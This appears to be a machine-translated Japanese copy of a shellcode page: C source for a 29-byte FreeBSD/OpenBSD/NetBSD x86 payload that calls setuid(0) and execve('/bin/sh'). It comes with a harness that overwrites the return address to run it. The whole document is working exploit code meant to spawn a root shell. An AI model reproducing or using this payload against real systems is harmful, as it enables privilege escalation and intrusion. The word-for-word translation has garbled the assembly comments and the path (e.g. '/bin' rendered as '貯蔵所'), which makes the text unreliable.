このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。 |
/* *BSD 見解/翻訳/版 FreeBSD, OpenBSD, NetBSD. s0t4ipv6@shellcode.com.ar 29 bytes. -setuid(0); -execve(/貯蔵所/sh); */ char shellcode[]= "\x31\xc0" // xor %eax,%eax "\x50" // 押し進める %eax "\xb0\x17" // mov $0x17,%al "\x50" // 押し進める %eax "\xcd\x80" // int $0x80 "\x50" // 押し進める %eax "\x68\x6e\x2f\x73\x68" // 押し進める $0x68732f6e "\x68\x2f\x2f\x62\x69" // 押し進める $0x69622f2f "\x89\xe3" // mov %esp,%ebx "\x50" // 押し進める %eax "\x54" // 押し進める %esp "\x53" // 押し進める %ebx "\x50" // 押し進める %eax "\xb0\x3b" // mov $0x3b,%al "\xcd\x80"; // int $0x80 main() { int *ret; printf("Shellcode lenght=%d\n",sizeof(shellcode)); ret=(int*)&ret+2; (*ret)=(int)shellcode; }